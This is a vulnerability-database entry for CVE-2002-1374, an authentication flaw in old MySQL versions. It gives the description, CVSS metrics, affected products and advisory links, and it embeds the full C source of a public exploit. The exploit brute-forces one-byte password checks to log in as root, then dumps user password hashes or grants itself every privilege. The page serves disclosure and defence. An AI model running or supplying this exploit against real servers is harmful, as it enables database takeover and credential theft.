CVE-2002-1374 : Detail

CVE-2002-1374

1.36%V3
Network
2004-09-01
02h00 +00:00
2007-10-16
22h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The COM_CHANGE_USER command in MySQL 3.x before 3.23.54, and 4.x before 4.0.6, allows remote attackers to gain privileges via a brute force attack using a one-character password, which causes MySQL to only compare the provided password against the first character of the real password.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 22084

Publication date : 2002-12-15 23h00 +00:00
Author : Andi
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/6373/info A flaw in the password authentication mechanism for MySQL may make it possible for an authenticated database user to compromise the accounts of other database users. The flaw lies in the fact that the server uses a string returned by the client when the COM_CHANGE_USER command is issued to iterate through a comparison when attempting to authenticate the password. An attacker may authenticate as another database user if they can successfully guess the first character of the correct password for that user. The range of the valid character set for passwords is 32 characters, which means that a malicious user can authenticate after a maximum of 32 attempts if they cycle through all of the valid characters. */ /*********************************************************** * hoagie_mysql.c * * local and remote exploit for mysql <= 3.23.53a * * new years present .... works also for 3.23.54 openbsd * (head) date 16/12/2002 * * hey after some code checking and patching my mysql server * i relized, that this patch doesnt protect you against * this vulnerability. * The length of the scramble string is important for the * password check and not the length of the password. * * perhaps other system are also still vulnerable * * gcc hoagie_mysql.c -o hoagie_mysql -lmysqlclient -I/usr/local/include -L/usr/local/lib/mysql * * Author: Andi <[email protected]> * * Greetz to Greuff, philipp and the other hoagie-fellas :-) * * With this exploit you can also do that nasty things: * http://void.at/andi/mysql.pdf * * $ ./hoagie_mysql -u dbuser -p dbpass * connecting to [localhost] as [dbpass] ... ok * sending one byte requests with user [root] ... * root 13fb921913f4b3b1 * root * ........... * ........ * $ * * If root or the attack user has no passwort set, this * exploit will fail -> thx to philipp * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * ************************************************************/ #include <stdio.h> #include <unistd.h> #include <mysql/mysql.h> int do_attack(MYSQL *mysql, char *attackuser); void do_action(MYSQL *mysql, char *action, char *user); char *strmov(register char *dst, register const char *src); int main(int argc, char **argv) { MYSQL mysql; char optchar; char *target, *user, *password, *attackuser, *action; target = user = password = action = attackuser= NULL; while ( (optchar = getopt(argc, argv, "ht:u:p:a:e:")) != EOF ) { switch(optchar) { case 'h': printf("hoagie_mysql.c\n"); printf("-t ... mysql server (default localhost)\n"); printf("-u ... username (default empty)\n"); printf("-p ... password (default empty)\n"); printf("-a ... attack user (default root)\n"); printf("-e ... action\n"); printf("-h ... this screen\n"); exit(0); case 't': target = optarg; break; case 'u': user = optarg; break; case 'p': password = optarg; break; case 'a': attackuser = optarg; break; case 'e': action = optarg; } } if (!target) target = "localhost"; if (!user) user = ""; if (!password) password = ""; if (!attackuser) attackuser = "root"; if (!action) action = "dumpuser"; printf("connecting to [%s] as [%s] ... ", target, user); fflush(stdin); if (!mysql_connect(&mysql, target, user, password)) { printf("failed\n"); return 0; } else { printf("ok\n"); } printf("sending one byte requests with user [%s] ... \n", attackuser); if (!do_attack(&mysql, attackuser)) { do_action(&mysql, action, user); } else { printf("attack failed\n"); } mysql_close(&mysql); return 0; } int do_attack(MYSQL *mysql, char *attackuser) { char buff[512], *pos=buff, *attackpasswd = "A"; int i, len, j, ret = 1; pos = (char*)strmov(pos,attackuser)+1; mysql->scramble_buff[1] = 0; pos = scramble(pos, mysql->scramble_buff, attackpasswd, (my_bool) (mysql->protocol_version == 9)); pos = (char*)strmov(pos+1,""); len = pos-buff; for (j = 0; ret && j < 32; j++) { buff[5] = 65 + j; ret = simple_command(mysql,COM_CHANGE_USER, buff,(uint)len,0); } return ret; } void do_action(MYSQL *mysql, char *action, char *user) { MYSQL_ROW row; MYSQL_RES *result; char buf[512]; mysql_select_db(mysql, "mysql"); if (!strcmp(action, "dumpuser")) { mysql_query(mysql, "select user, password, host from user"); result = mysql_use_result(mysql); while ((row = mysql_fetch_row(result))) printf("%16s %16s %50s\n", row[0], row[1], row[2]); mysql_free_result(result); } else if (!strcmp(action, "becomeadmin")) { snprintf(buf, sizeof(buf) - 1, "update user set Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', " " Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', " " File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y' where " " user = '%s'", user); mysql_query(mysql, buf); mysql_reload(mysql); } /* do whatever you want ... see mysql api ... // else if ( */ } char *strmov(register char *dst, register const char *src) { while ((*dst++ = *src++)) ; return dst-1; }

Products Mentioned

Configuraton 0

Oracle>>Mysql >> Version 3.22.26

Oracle>>Mysql >> Version 3.22.27

Oracle>>Mysql >> Version 3.22.28

Oracle>>Mysql >> Version 3.22.29

Oracle>>Mysql >> Version 3.22.30

Oracle>>Mysql >> Version 3.22.32

Oracle>>Mysql >> Version 3.23.2

Oracle>>Mysql >> Version 3.23.3

Oracle>>Mysql >> Version 3.23.4

Oracle>>Mysql >> Version 3.23.5

Oracle>>Mysql >> Version 3.23.8

Oracle>>Mysql >> Version 3.23.9

Oracle>>Mysql >> Version 3.23.10

Oracle>>Mysql >> Version 3.23.23

Oracle>>Mysql >> Version 3.23.24

Oracle>>Mysql >> Version 3.23.25

Oracle>>Mysql >> Version 3.23.26

Oracle>>Mysql >> Version 3.23.27

Oracle>>Mysql >> Version 3.23.28

Oracle>>Mysql >> Version 3.23.29

Oracle>>Mysql >> Version 3.23.30

Oracle>>Mysql >> Version 3.23.31

Oracle>>Mysql >> Version 3.23.34

Oracle>>Mysql >> Version 3.23.36

Oracle>>Mysql >> Version 3.23.37

Oracle>>Mysql >> Version 3.23.38

Oracle>>Mysql >> Version 3.23.39

Oracle>>Mysql >> Version 3.23.40

Oracle>>Mysql >> Version 3.23.41

Oracle>>Mysql >> Version 3.23.42

Oracle>>Mysql >> Version 3.23.43

Oracle>>Mysql >> Version 3.23.44

Oracle>>Mysql >> Version 3.23.45

Oracle>>Mysql >> Version 3.23.46

Oracle>>Mysql >> Version 3.23.47

Oracle>>Mysql >> Version 3.23.48

Oracle>>Mysql >> Version 3.23.49

Oracle>>Mysql >> Version 3.23.50

Oracle>>Mysql >> Version 3.23.51

Oracle>>Mysql >> Version 3.23.52

Oracle>>Mysql >> Version 3.23.53

Oracle>>Mysql >> Version 3.23.53a

Oracle>>Mysql >> Version 4.0.0

Oracle>>Mysql >> Version 4.0.1

Oracle>>Mysql >> Version 4.0.2

Oracle>>Mysql >> Version 4.0.3

Oracle>>Mysql >> Version 4.0.5a

Symantec_veritas>>Netbackup_advanced_reporter >> Version 3.4

    Symantec_veritas>>Netbackup_advanced_reporter >> Version 4.5

      Symantec_veritas>>Netbackup_advanced_reporter >> Version 4.5_fp1

        Symantec_veritas>>Netbackup_advanced_reporter >> Version 4.5_fp2

          Symantec_veritas>>Netbackup_advanced_reporter >> Version 4.5_fp3

            Symantec_veritas>>Netbackup_advanced_reporter >> Version 4.5_mp1

              Symantec_veritas>>Netbackup_advanced_reporter >> Version 4.5_mp2

                Symantec_veritas>>Netbackup_advanced_reporter >> Version 4.5_mp3

                  Symantec_veritas>>Netbackup_global_data_manager >> Version 4.5

                    Symantec_veritas>>Netbackup_global_data_manager >> Version 4.5_fp1

                      Symantec_veritas>>Netbackup_global_data_manager >> Version 4.5_fp2

                        Symantec_veritas>>Netbackup_global_data_manager >> Version 4.5_fp3

                          Symantec_veritas>>Netbackup_global_data_manager >> Version 4.5_mp1

                            Symantec_veritas>>Netbackup_global_data_manager >> Version 4.5_mp2

                              Symantec_veritas>>Netbackup_global_data_manager >> Version 4.5_mp3

                                References

                                http://marc.info/?l=bugtraq&m=103971644013961&w=2
                                Tags : mailing-list, x_refsource_BUGTRAQ
                                http://marc.info/?l=bugtraq&m=104005886114500&w=2
                                Tags : mailing-list, x_refsource_BUGTRAQ
                                http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000555
                                Tags : vendor-advisory, x_refsource_CONECTIVA
                                http://www.debian.org/security/2002/dsa-212
                                Tags : vendor-advisory, x_refsource_DEBIAN
                                http://www.redhat.com/support/errata/RHSA-2002-288.html
                                Tags : vendor-advisory, x_refsource_REDHAT
                                http://www.redhat.com/support/errata/RHSA-2003-166.html
                                Tags : vendor-advisory, x_refsource_REDHAT
                                http://marc.info/?l=bugtraq&m=104004857201968&w=2
                                Tags : vendor-advisory, x_refsource_GENTOO
                                http://www.redhat.com/support/errata/RHSA-2002-289.html
                                Tags : vendor-advisory, x_refsource_REDHAT
                                http://www.securityfocus.com/bid/6373
                                Tags : vdb-entry, x_refsource_BID
                                http://www.securityfocus.com/advisories/5269
                                Tags : vendor-advisory, x_refsource_IMMUNIX